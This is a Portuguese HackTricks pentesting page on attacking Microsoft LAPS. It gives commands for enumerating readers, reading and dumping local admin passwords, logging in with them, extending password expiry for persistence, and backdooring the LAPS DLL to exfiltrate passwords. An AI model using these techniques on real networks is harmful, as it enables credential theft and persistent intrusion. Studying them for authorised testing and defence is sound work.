LAPS

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

InformaçÔes Båsicas

Local Administrator Password Solution (LAPS) Ă© uma ferramenta usada para gerenciar um sistema onde senhas de administrador, que sĂŁo Ășnicas, aleatĂłrias e frequentemente alteradas, sĂŁo aplicadas a computadores associados ao domĂ­nio. Essas senhas sĂŁo armazenadas de forma segura dentro do Active Directory e sĂŁo acessĂ­veis apenas a usuĂĄrios que receberam permissĂŁo atravĂ©s de Listas de Controle de Acesso (ACLs). A segurança das transmissĂ”es de senha do cliente para o servidor Ă© garantida pelo uso de Kerberos versĂŁo 5 e Advanced Encryption Standard (AES).

Nos objetos de computador do domínio, a implementação do LAPS resulta na adição de dois novos atributos: ms-mcs-AdmPwd e ms-mcs-AdmPwdExpirationTime. Esses atributos armazenam a senha de administrador em texto simples e seu tempo de expiração, respectivamente.

Verifique se ativado

bash
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled dir "C:\Program Files\LAPS\CSE" # Check if that folder exists and contains AdmPwd.dll # Find GPOs that have "LAPS" or some other descriptive term in the name Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl # Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property) Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname

Acesso Ă  Senha LAPS

VocĂȘ pode baixar a polĂ­tica LAPS bruta de \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol e entĂŁo usar Parse-PolFile do pacote GPRegistryPolicyParser para converter este arquivo em um formato legĂ­vel por humanos.

Além disso, os cmdlets nativos do PowerShell LAPS podem ser usados se estiverem instalados em uma måquina à qual temos acesso:

powershell
Get-Command *AdmPwd* CommandType Name Version Source ----------- ---- ------- ------ Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS # List who can read LAPS password of the given OU Find-AdmPwdExtendedRights -Identity Workstations | fl # Read the password Get-AdmPwdPassword -ComputerName wkstn-2 | fl

PowerView tambĂ©m pode ser usado para descobrir quem pode ler a senha e lĂȘ-la:

powershell
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd Get-AdmPwdPassword -ComputerName wkstn-2 | fl # Read the password Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd

LAPSToolkit

O LAPSToolkit facilita a enumeração do LAPS com vårias funçÔes.
Uma delas Ă© a anĂĄlise de ExtendedRights para todos os computadores com LAPS habilitado. Isso mostrarĂĄ grupos especificamente delegados para ler senhas LAPS, que muitas vezes sĂŁo usuĂĄrios em grupos protegidos.
Uma conta que juntou um computador a um domínio recebe All Extended Rights sobre aquele host, e esse direito då à conta a capacidade de ler senhas. A enumeração pode mostrar uma conta de usuårio que pode ler a senha LAPS em um host. Isso pode nos ajudar a mirar usuårios específicos do AD que podem ler senhas LAPS.

powershell
# Get groups that can read passwords Find-LAPSDelegatedGroups OrgUnit Delegated Groups ------- ---------------- OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin # Checks the rights on each computer with LAPS enabled for any groups # with read access and users with "All Extended Rights" Find-AdmPwdExtendedRights ComputerName Identity Reason ------------ -------- ------ MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated # Get computers with LAPS enabled, expirations time and the password (if you have access) Get-LAPSComputers ComputerName Password Expiration ------------ -------- ---------- DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41

Dumpando Senhas LAPS Com Crackmapexec

Se nĂŁo houver acesso a um powershell, vocĂȘ pode abusar desse privilĂ©gio remotamente atravĂ©s do LDAP usando

crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps

Isso irĂĄ despejar todas as senhas que o usuĂĄrio pode ler, permitindo que vocĂȘ obtenha uma melhor posição com um usuĂĄrio diferente.

** Usando a Senha LAPS **

xfreerdp /v:192.168.1.1:3389 /u:Administrator Password: 2Z@Ae)7!{9#Cq python psexec.py Administrator@web.example.com Password: 2Z@Ae)7!{9#Cq

PersistĂȘncia LAPS

Data de Expiração

Uma vez administrador, é possível obter as senhas e prevenir que uma måquina atualize sua senha definindo a data de expiração para o futuro.

powershell
# Get expiration time Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime # Change expiration time ## It's needed SYSTEM on the computer Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}

warning

A senha ainda serå redefinida se um admin usar o Reset-AdmPwdPassword cmdlet; ou se Não permitir que o tempo de expiração da senha seja maior do que o exigido pela política estiver habilitado na GPO do LAPS.

Backdoor

O código-fonte original do LAPS pode ser encontrado aqui, portanto, é possível colocar uma backdoor no código (dentro do método Get-AdmPwdPassword em Main/AdmPwd.PS/Main.cs, por exemplo) que de alguma forma exfiltrarå novas senhas ou as armazenarå em algum lugar.

Em seguida, basta compilar o novo AdmPwd.PS.dll e enviå-lo para a måquina em C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll (e alterar o horårio de modificação).

ReferĂȘncias

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks